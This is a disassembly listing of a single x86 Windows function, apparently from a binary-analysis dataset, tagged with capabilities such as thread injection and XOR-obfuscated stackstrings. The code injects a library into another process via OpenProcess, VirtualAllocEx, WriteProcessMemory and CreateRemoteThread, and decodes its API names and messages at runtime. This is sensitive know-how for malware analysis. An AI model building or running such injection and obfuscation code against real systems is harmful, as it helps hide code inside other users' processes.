Function at 0x402f00
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, edx
call fcn.00402e60
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x402f8f
movaps xmm0, xmmword [0x408680]
xor edx, edx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x10], 0x3b6666
movaps xmm0, xmmword [0x408810]
movups xmmword [ebp - 0x20], xmm0
nop dword [eax]
mov al, byte [ebp - 0x30]
xor byte [ebp + edx - 0x2f], al
inc edx
cmp edx, 0x22
jb 0x402f50
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea edx, [ebp - 0x2f]
mov byte [ebp - 0xd], 0
call fcn.00406330
push 0x406550
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069b7
mov esp, ebp
pop ebp
ret
push 4
push 0x3000
push 0x104
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x403019
movaps xmm0, xmmword [0x4085a0]
xor edx, edx
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0xc], 0x5c
movaps xmm0, xmmword [0x4085e0]
movups xmmword [ebp - 0x2c], xmm0
movaps xmm0, xmmword [0x408510]
movups xmmword [ebp - 0x1c], xmm0
mov al, byte [ebp - 0x3c]
xor byte [ebp + edx - 0x3b], al
inc edx
cmp edx, 0x30
jb 0x402fd3
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea edx, [ebp - 0x3b]
mov byte [ebp - 0xb], 0
call fcn.00406330
push 0x406550
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069b7
mov esp, ebp
pop ebp
ret
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403020
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4030c5
movaps xmm0, xmmword [0x4085b0]
xor edx, edx
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0xc], 0x5f02
movaps xmm0, xmmword [str.Q5Q]
movups xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 0xa], al
movaps xmm0, xmmword [0x408520]
movups xmmword [ebp - 0x1c], xmm0
nop dword [eax]
mov al, byte [ebp - 0x3c]
xor byte [ebp + edx - 0x3b], al
inc edx
cmp edx, 0x31
jb 0x403070
lea edx, [ebp - 0x3b]
mov byte [ebp - 0xa], 0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00406330
push 0x406550
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069b7
mov esp, ebp
pop ebp
ret
mov cl, 0x53
mov dword [ebp - 0x4c], 0x21363853
mov dword [ebp - 0x48], 0x603f363d
xor eax, eax
mov dword [ebp - 0x44], 0x3f377d61
mov word [ebp - 0x40], 0x3f
xor byte [ebp + eax - 0x4b], cl
inc eax
cmp eax, 0xc
jae 0x4030f3
mov cl, byte [ebp - 0x4c]
jmp 0x4030e4
lea eax, [ebp - 0x4b]
mov byte [ebp - 0x3f], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x403149
movaps xmm0, xmmword [0x408750]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x160a1d13
mov dword [ebp - 0x14], 0x4a4b141d
mov dword [ebp - 0x10], 0x14141c56
mov word [ebp - 0xc], 0x56
nop dword [eax]
mov al, byte [ebp - 0x28]
xor byte [ebp + edx - 0x27], al
inc edx
cmp edx, 0x1c
jb 0x403130
mov byte [ebp - 0xb], 0
lea edx, [ebp - 0x27]
jmp 0x403084
mov cl, 0x38
mov dword [ebp - 0x18], 0x59577438
mov dword [ebp - 0x14], 0x5a51745c
xor eax, eax
mov dword [ebp - 0x10], 0x414a594a
mov word [ebp - 0xc], 0x79
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0xc
jae 0x403177
mov cl, byte [ebp - 0x18]
jmp 0x403168
lea eax, [ebp - 0x17]
mov byte [ebp - 0xb], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4031d0
movaps xmm0, xmmword [0x4086a0]
xor edx, edx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x18], 0x22072f2a
movaps xmm0, xmmword [0x408630]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x392a3929
mov dword [ebp - 0x10], 0x650a32
mov al, byte [ebp - 0x38]
xor byte [ebp + edx - 0x37], al
inc edx
cmp edx, 0x2a
jb 0x4031b7
mov byte [ebp - 0xd], 0
lea edx, [ebp - 0x37]
jmp 0x403084
push 0
push 0
push ebx
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x40321d
movaps xmm0, xmmword [0x408860]
xor edx, edx
movups xmmword [ebp - 0x2c], xmm0
mov word [ebp - 0xc], 0x266c
movaps xmm0, xmmword [0x4087f0]
movups xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 0xa], al
mov al, byte [ebp - 0x2c]
xor byte [ebp + edx - 0x2b], al
inc edx
cmp edx, 0x21
jb 0x403208
lea edx, [ebp - 0x2b]
jmp 0x403080
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
xor edx, edx
mov byte [ebp - 0xa], 0
cmp dword [ebp - 8], edx
jne 0x4032b5
movaps xmm0, xmmword [0x4086c0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x4b42474f
mov word [ebp - 0xc], 0x4a
mov al, byte [ebp - 0x20]
xor byte [ebp + edx - 0x1f], al
inc edx
cmp edx, 0x15
jb 0x403276
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x1f]
mov byte [ebp - 0xa], 0
call fcn.00406330
push 0x406550
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069b7
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x408800]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x7a7c7c6a
mov dword [ebp - 0x10], 0x6a796c6c
mov word [ebp - 0xc], 0x3e73
mov al, byte [ebp - 0x24]
xor byte [ebp + edx - 0x23], al
inc edx
cmp edx, 0x19
jb 0x4032d4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x23]
mov byte [ebp - 0xa], 0
call fcn.00406330
push 0x406550
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004069b7
mov esp, ebp
pop ebp
ret